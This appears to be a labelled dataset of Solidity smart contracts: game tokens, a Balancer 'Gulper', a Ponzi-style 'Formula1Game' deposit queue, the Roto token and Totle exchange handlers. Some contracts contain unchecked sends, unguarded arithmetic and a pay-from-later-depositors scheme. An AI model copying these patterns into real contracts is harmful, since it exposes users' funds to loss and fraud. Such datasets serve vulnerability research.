using SafeMath for uint;
string public constant name = "Goo Material - Wood";
string public constant symbol = "WOOD";
uint8 public constant decimals = 0;
uint256 public totalSupply;
address owner;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => bool) operator;
constructor() public {
owner = msg.sender;
}
function setOperator(address gameContract, bool isOperator) external {
require(msg.sender == owner);
operator[gameContract] = isOperator;
}
function totalSupply() external view returns (uint) {
return totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) external view returns (uint256) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) external returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) external returns (bool) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function approve(address spender, uint tokens) external returns (bool) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function allowance(address tokenOwner, address spender) external view returns (uint256) {
return allowed[tokenOwner][spender];
}
function recoverAccidentalTokens(address tokenAddress, uint tokens) external {
require(msg.sender == owner);
require(tokenAddress != address(this));
ERC20(tokenAddress).transfer(owner, tokens);
}
function mintWood(uint256 amount, address player) external {
require(operator[msg.sender]);
balances[player] += amount;
totalSupply += amount;
emit Transfer(address(0), player, amount);
}
function burn(uint256 amount, address player) public {
require(operator[msg.sender]);
balances[player] = balances[player].sub(amount);
totalSupply = totalSupply.sub(amount);
emit Transfer(player, address(0), amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 5,035 |
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
contract IERC20Wrapper is IERC20
{
function deposit() payable public;
function withdraw(uint _amount) public;
}
contract BalancerPool is IERC20
{
function calcPoolOutGivenSingleIn(
uint tokenBalanceIn,
uint tokenWeightIn,
uint poolSupply,
uint totalWeight,
uint tokenAmountIn,
uint swapFee)
public pure
returns (uint poolAmountOut);
function joinswapExternAmountIn(
address tokenIn,
uint256 tokenAmountIn,
uint256 minPoolAmountOut)
public;
}
contract Gulper
{
using SafeMath for uint256;
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant POOL = 0x5277a42ef95ECa7637fFa9E69B65A12A089FE12b;
constructor ()
public
{
IERC20Wrapper(WETH).approve(POOL, uint(-1));
moneyMoneyMoneyMONEY = 204189300000000000;
}
uint public moneyMoneyMoneyMONEY;
event gulped(uint _ether, uint _poolTokens, uint _pokeReward);
function getGulpDetails()
public
view
returns (uint _wethBalanceToConvert, uint _minTokensToClaim, uint _pokeReward)
{
uint ethBalance = address(this).balance;
uint wethBalance = ethBalance.add(IERC20Wrapper(WETH).balanceOf(address(this)));
_pokeReward = wethBalance.div(1000);
_wethBalanceToConvert = wethBalance.sub(_pokeReward);
uint wethPoolBalance = IERC20Wrapper(WETH).balanceOf(POOL);
uint poolBalance = BalancerPool(POOL).totalSupply();
uint tokensOut = BalancerPool(POOL)
.calcPoolOutGivenSingleIn(
wethPoolBalance,
5 * 10**18,
poolBalance,
10 * 10**18,
_wethBalanceToConvert,
10**17);
_minTokensToClaim = tokensOut.mul(95 * 10**9).div(100 * 10**9);
}
function gulp()
public
{
(uint wethBalanceToConvert, uint minTokensToClaim, uint pokeReward) = getGulpDetails();
IERC20Wrapper(WETH).deposit.value(address(this).balance)();
BalancerPool(POOL).joinswapExternAmountIn(WETH, wethBalanceToConvert, minTokensToClaim);
uint poolTokensToBurn = BalancerPool(POOL).balanceOf(address(this));
BalancerPool(POOL).transfer(address(1), poolTokensToBurn);
moneyMoneyMoneyMONEY = moneyMoneyMoneyMONEY.add(wethBalanceToConvert);
IERC20Wrapper(WETH).withdraw(pokeReward);
emit gulped(wethBalanceToConvert, poolTokensToBurn, pokeReward);
msg.sender.call.value(pokeReward)("");
}
event ethReceived(address _from, uint _amount);
function totalRaised()
public
view
returns (uint _totalRaised)
{
_totalRaised = moneyMoneyMoneyMONEY
.add(address(this).balance)
.add(IERC20Wrapper(WETH).balanceOf(address(this)));
}
function ()
external
payable
{
emit ethReceived(msg.sender, msg.value);
}
} | 0 | 113 |
pragma solidity ^0.4.25;
contract Formula1Game {
address public support;
uint constant public PRIZE_PERCENT = 3;
uint constant public SUPPORT_PERCENT = 2;
uint constant public MAX_INVESTMENT = 0.5 ether;
uint constant public MIN_INVESTMENT = 0.01 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.03 ether;
uint constant public GAS_PRICE_MAX = 20;
uint constant public MAX_IDLE_TIME = 10 minutes;
uint constant public SIZE_TO_SAVE_INVEST = 20;
uint constant public TIME_TO_SAVE_INVEST = 5 minutes;
uint8[] MULTIPLIERS = [
109,
117,
125
];
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct DepositCount {
int128 stage;
uint128 count;
}
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
uint public currentQueueSize = 0;
LastDepositInfo public lastDepositInfoForPrize;
LastDepositInfo public previosDepositInfoForPrize;
uint public prizeAmount = 0;
uint public prizeStageAmount = 0;
int public stage = 0;
uint128 public lastDepositTime = 0;
mapping(address => DepositCount) public depositsMade;
constructor() public {
support = msg.sender;
proceedToNewStage(getCurrentStageByTime() + 1);
}
function () public payable {
require(tx.gasprice <= GAS_PRICE_MAX * 1000000000);
require(gasleft() >= 250000, "We require more gas!");
checkAndUpdateStage();
if(msg.value > 0){
require(msg.value >= MIN_INVESTMENT && msg.value <= MAX_INVESTMENT);
require(lastDepositInfoForPrize.time <= now + MAX_IDLE_TIME);
require(getNextStageStartTime() >= now + MAX_IDLE_TIME + 10 minutes);
if(currentQueueSize < SIZE_TO_SAVE_INVEST){
addDeposit(msg.sender, msg.value);
} else {
addDeposit(msg.sender, msg.value);
pay();
}
} else if(msg.value == 0 && currentQueueSize > SIZE_TO_SAVE_INVEST){
withdrawPrize();
} else if(msg.value == 0){
require(currentQueueSize <= SIZE_TO_SAVE_INVEST);
require(lastDepositTime > 0 && (now - lastDepositTime) >= TIME_TO_SAVE_INVEST);
returnPays();
}
}
function pay() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeStageAmount)
money = uint128(balance - prizeStageAmount);
uint128 moneyS = uint128(money*SUPPORT_PERCENT/100);
support.send(moneyS);
money -= moneyS;
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[i];
}else{
dep.depositor.send(money);
money -= dep.expect;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex = i;
}
function returnPays() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeAmount)
money = uint128(balance - prizeAmount);
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
dep.depositor.send(dep.deposit);
money -= dep.deposit;
delete queue[i];
}
prizeStageAmount = 0;
proceedToNewStage(getCurrentStageByTime() + 1);
}
function addDeposit(address depositor, uint value) private {
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
if(value >= MIN_INVESTMENT_FOR_PRIZE){
previosDepositInfoForPrize = lastDepositInfoForPrize;
lastDepositInfoForPrize = LastDepositInfo(uint128(currentQueueSize), uint128(now));
}
uint multiplier = getDepositorMultiplier(depositor);
push(depositor, value, value*multiplier/100);
c.count++;
lastDepositTime = uint128(now);
prizeStageAmount += value*PRIZE_PERCENT/100;
}
function checkAndUpdateStage() private {
int _stage = getCurrentStageByTime();
require(_stage >= stage);
if(_stage != stage){
proceedToNewStage(_stage);
}
}
function proceedToNewStage(int _stage) private {
stage = _stage;
currentQueueSize = 0;
currentReceiverIndex = 0;
lastDepositTime = 0;
prizeAmount += prizeStageAmount;
prizeStageAmount = 0;
delete queue;
delete previosDepositInfoForPrize;
delete lastDepositInfoForPrize;
}
function withdrawPrize() private {
require(lastDepositInfoForPrize.time > 0 && lastDepositInfoForPrize.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
require(currentReceiverIndex <= lastDepositInfoForPrize.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
uint prize = balance;
if(previosDepositInfoForPrize.index > 0){
uint prizePrevios = prize*10/100;
queue[previosDepositInfoForPrize.index].depositor.transfer(prizePrevios);
prize -= prizePrevios;
}
queue[lastDepositInfoForPrize.index].depositor.send(prize);
proceedToNewStage(getCurrentStageByTime() + 1);
}
function push(address depositor, uint deposit, uint expect) private {
Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect));
assert(currentQueueSize <= queue.length);
if(queue.length == currentQueueSize)
queue.push(dep);
else
queue[currentQueueSize] = dep;
currentQueueSize++;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getQueueLength() public view returns (uint) {
return currentQueueSize - currentReceiverIndex;
}
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == getCurrentStageByTime())
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
function getCurrentStageByTime() public view returns (int) {
return int(now - 17847 * 86400 - 18 * 3600) / (24 * 60 * 60);
}
function getNextStageStartTime() public view returns (uint) {
return 17847 * 86400 + 18 * 3600 + uint((getCurrentStageByTime() + 1) * 24 * 60 * 60);
}
function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){
if(currentReceiverIndex <= lastDepositInfoForPrize.index && lastDepositInfoForPrize.index < currentQueueSize){
Deposit storage d = queue[lastDepositInfoForPrize.index];
addr = d.depositor;
timeLeft = int(lastDepositInfoForPrize.time + MAX_IDLE_TIME) - int(now);
}
}
} | 0 | 960 |
pragma solidity 0.4.24;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract RotoToken is StandardToken {
string public constant name = "Roto";
string public constant symbol = "ROTO";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 21000000 * (10 ** uint256(decimals));
address owner;
address roto = this;
address manager;
mapping (address => mapping (bytes32 => uint256)) stakes;
uint256 owner_transfer = 2000000 * (10** uint256(decimals));
modifier onlyOwner {
require(msg.sender==owner);
_;
}
modifier onlyManager {
require(msg.sender==manager);
_;
}
event ManagerChanged(address _contract);
event RotoStaked(address _user, uint256 stake);
event RotoReleased(address _user, uint256 stake);
event RotoDestroyed(address _user, uint256 stake);
event RotoRewarded(address _contract, address _user, uint256 reward);
constructor() public {
owner = msg.sender;
totalSupply_ = INITIAL_SUPPLY;
balances[roto] = INITIAL_SUPPLY;
emit Transfer(0x0, roto, INITIAL_SUPPLY);
}
function transferFromContract(address _to, uint256 _value) public onlyOwner returns(bool) {
require(_to!=address(0));
require(_value<=balances[roto]);
require(owner_transfer > 0);
owner_transfer = owner_transfer.sub(_value);
balances[roto] = balances[roto].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(roto, _to, _value);
return true;
}
function setManagerContract(address _contract) external onlyOwner returns(bool) {
require(_contract!=address(0)&&_contract!=roto);
uint size;
assembly { size := extcodesize(_contract) }
require(size > 0);
manager = _contract;
emit ManagerChanged(_contract);
return true;
}
function releaseRoto(address _user, bytes32 _tournamentID) external onlyManager returns(bool) {
require(_user!=address(0));
uint256 value = stakes[_user][_tournamentID];
require(value > 0);
stakes[_user][_tournamentID] = 0;
balances[_user] = balances[_user].add(value);
emit RotoReleased(_user, value);
return true;
}
function destroyRoto(address _user, bytes32 _tournamentID) external onlyManager returns(bool) {
require(_user!=address(0));
uint256 value = stakes[_user][_tournamentID];
require(value > 0);
stakes[_user][_tournamentID] = 0;
balances[roto] = balances[roto].add(value);
emit RotoDestroyed(_user, value);
return true;
}
function stakeRoto(address _user, bytes32 _tournamentID, uint256 _value) external onlyManager returns(bool) {
require(_user!=address(0));
require(_value<=balances[_user]);
require(stakes[_user][_tournamentID] == 0);
balances[_user] = balances[_user].sub(_value);
stakes[_user][_tournamentID] = _value;
emit RotoStaked(_user, _value);
return true;
}
function rewardRoto(address _user, uint256 _value) external onlyManager returns(bool successful) {
require(_user!=address(0));
require(_value<=balances[roto]);
balances[_user] = balances[_user].add(_value);
balances[roto] = balances[roto].sub(_value);
emit Transfer(roto, _user, _value);
return true;
}
function canStake(address _user, uint256 _value) public view onlyManager returns(bool) {
require(_user!=address(0));
require(_value<=balances[_user]);
return true;
}
function getManager() public view returns (address _manager) {
return manager;
}
function changeOwner(address _newOwner) public onlyOwner returns(bool) {
owner = _newOwner;
}
} | 1 | 3,589 |
pragma solidity 0.4.25;
pragma experimental ABIEncoderV2;
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function decimals() public view returns (uint256);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library ERC20SafeTransfer {
function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("transfer(address,uint256)")), _to, _value));
return fetchReturnData();
}
function safeTransferFrom(address _tokenAddress, address _from, address _to, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, _to, _value));
return fetchReturnData();
}
function safeApprove(address _tokenAddress, address _spender, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("approve(address,uint256)")), _spender, _value));
return fetchReturnData();
}
function fetchReturnData() internal returns (bool success){
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
revert(0, 0)
}
}
}
}
contract AllowanceSetter {
uint256 constant MAX_UINT = 2**256 - 1;
function approveAddress(address addressToApprove, address token) internal {
if(ERC20(token).allowance(address(this), addressToApprove) == 0) {
require(ERC20SafeTransfer.safeApprove(token, addressToApprove, MAX_UINT));
}
}
}
contract ErrorReporter {
function revertTx(string reason) public pure {
revert(reason);
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Utils {
uint256 constant internal PRECISION = (10**18);
uint256 constant internal MAX_QTY = (10**28);
uint256 constant internal MAX_RATE = (PRECISION * 10**6);
uint256 constant internal MAX_DECIMALS = 18;
uint256 constant internal ETH_DECIMALS = 18;
uint256 constant internal MAX_UINT = 2**256-1;
function precision() internal pure returns (uint256) { return PRECISION; }
function max_qty() internal pure returns (uint256) { return MAX_QTY; }
function max_rate() internal pure returns (uint256) { return MAX_RATE; }
function max_decimals() internal pure returns (uint256) { return MAX_DECIMALS; }
function eth_decimals() internal pure returns (uint256) { return ETH_DECIMALS; }
function max_uint() internal pure returns (uint256) { return MAX_UINT; }
function getDecimals(address token)
internal
view
returns (uint256 decimals)
{
bytes4 functionSig = bytes4(keccak256("decimals()"));
assembly {
let ptr := mload(0x40)
mstore(ptr,functionSig)
let functionSigLength := 0x04
let wordLength := 0x20
let success := call(
5000,
token,
0,
ptr,
functionSigLength,
ptr,
wordLength
)
switch success
case 0 {
decimals := 0
}
case 1 {
decimals := mload(ptr)
}
mstore(0x40,add(ptr,0x04))
}
}
function tokenAllowanceAndBalanceSet(
address tokenOwner,
address tokenAddress,
uint256 tokenAmount,
address addressToAllow
)
internal
view
returns (bool)
{
return (
ERC20(tokenAddress).allowance(tokenOwner, addressToAllow) >= tokenAmount &&
ERC20(tokenAddress).balanceOf(tokenOwner) >= tokenAmount
);
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator;
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns (uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns (uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns (uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface WETH {
function deposit() external payable;
function withdraw(uint256 amount) external;
function balanceOf(address account) external returns (uint256);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TotleControl is Ownable {
mapping(address => bool) public authorizedPrimaries;
modifier onlyTotle() {
require(authorizedPrimaries[msg.sender]);
_;
}
constructor(address _totlePrimary) public {
authorizedPrimaries[_totlePrimary] = true;
}
function addTotle(
address _totlePrimary
) external onlyOwner {
authorizedPrimaries[_totlePrimary] = true;
}
function removeTotle(
address _totlePrimary
) external onlyOwner {
authorizedPrimaries[_totlePrimary] = false;
}
}
contract Withdrawable is Ownable {
function withdrawToken(address _token, uint256 _amount) external onlyOwner returns (bool) {
return ERC20SafeTransfer.safeTransfer(_token, owner, _amount);
}
function withdrawETH(uint256 _amount) external onlyOwner {
owner.transfer(_amount);
}
}
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool private _paused = false;
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Contract is paused.");
_;
}
modifier whenPaused() {
require(_paused, "Contract not paused.");
_;
}
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused();
}
}
contract SelectorProvider {
bytes4 constant getAmountToGiveSelector = bytes4(keccak256("getAmountToGive(bytes)"));
bytes4 constant staticExchangeChecksSelector = bytes4(keccak256("staticExchangeChecks(bytes)"));
bytes4 constant performBuyOrderSelector = bytes4(keccak256("performBuyOrder(bytes,uint256)"));
bytes4 constant performSellOrderSelector = bytes4(keccak256("performSellOrder(bytes,uint256)"));
function getSelector(bytes4 genericSelector) public pure returns (bytes4);
}
contract ExchangeHandler is SelectorProvider, TotleControl, Withdrawable, Pausable {
ErrorReporter public errorReporter;
constructor(
address totlePrimary,
address _errorReporter
)
TotleControl(totlePrimary)
public
{
require(_errorReporter != address(0x0));
errorReporter = ErrorReporter(_errorReporter);
}
function getAmountToGive(
bytes genericPayload
)
public
view
returns (uint256 amountToGive)
{
bool success;
bytes4 functionSelector = getSelector(this.getAmountToGive.selector);
assembly {
let functionSelectorLength := 0x04
let functionSelectorOffset := 0x1C
let scratchSpace := 0x0
let wordLength := 0x20
let bytesLength := mload(genericPayload)
let totalLength := add(functionSelectorLength, bytesLength)
let startOfNewData := add(genericPayload, functionSelectorOffset)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(genericPayload, functionSelectorCorrect)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
wordLength
)
amountToGive := mload(scratchSpace)
if eq(success, 0) { revert(0, 0) }
}
}
function staticExchangeChecks(
bytes genericPayload
)
public
view
returns (bool checksPassed)
{
bool success;
bytes4 functionSelector = getSelector(this.staticExchangeChecks.selector);
assembly {
let functionSelectorLength := 0x04
let functionSelectorOffset := 0x1C
let scratchSpace := 0x0
let wordLength := 0x20
let bytesLength := mload(genericPayload)
let totalLength := add(functionSelectorLength, bytesLength)
let startOfNewData := add(genericPayload, functionSelectorOffset)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(genericPayload, functionSelectorCorrect)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
wordLength
)
checksPassed := mload(scratchSpace)
if eq(success, 0) { revert(0, 0) }
}
}
function performBuyOrder(
bytes genericPayload,
uint256 amountToGiveForOrder
)
public
payable
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
bool success;
bytes4 functionSelector = getSelector(this.performBuyOrder.selector);
assembly {
let callDataOffset := 0x44
let functionSelectorOffset := 0x1C
let functionSelectorLength := 0x04
let scratchSpace := 0x0
let wordLength := 0x20
let startOfFreeMemory := mload(0x40)
calldatacopy(startOfFreeMemory, callDataOffset, calldatasize)
let bytesLength := mload(startOfFreeMemory)
let totalLength := add(add(functionSelectorLength, bytesLength), wordLength)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(startOfFreeMemory, functionSelectorCorrect)
mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder)
let startOfNewData := add(startOfFreeMemory,functionSelectorOffset)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
mul(wordLength, 0x02)
)
amountSpentOnOrder := mload(scratchSpace)
amountReceivedFromOrder := mload(add(scratchSpace, wordLength))
if eq(success, 0) { revert(0, 0) }
}
}
function performSellOrder(
bytes genericPayload,
uint256 amountToGiveForOrder
)
public
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
bool success;
bytes4 functionSelector = getSelector(this.performSellOrder.selector);
assembly {
let callDataOffset := 0x44
let functionSelectorOffset := 0x1C
let functionSelectorLength := 0x04
let scratchSpace := 0x0
let wordLength := 0x20
let startOfFreeMemory := mload(0x40)
calldatacopy(startOfFreeMemory, callDataOffset, calldatasize)
let bytesLength := mload(startOfFreeMemory)
let totalLength := add(add(functionSelectorLength, bytesLength), wordLength)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(startOfFreeMemory, functionSelectorCorrect)
mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder)
let startOfNewData := add(startOfFreeMemory,functionSelectorOffset)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
mul(wordLength, 0x02)
)
amountSpentOnOrder := mload(scratchSpace)
amountReceivedFromOrder := mload(add(scratchSpace, wordLength))
if eq(success, 0) { revert(0, 0) }
}
}
}
interface AirSwap {
function fills(bytes32 hash) external view returns (bool);
function fill(
address makerAddress,
uint makerAmount,
address makerToken,
address takerAddress,
uint takerAmount,
address takerToken,
uint256 expiration,
uint256 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
}
contract AirSwapHandler is ExchangeHandler, AllowanceSetter {
AirSwap public exchange;
WETH public weth;
struct OrderData {
address makerAddress;
address makerToken;
address takerAddress;
address takerToken;
uint256 makerAmount;
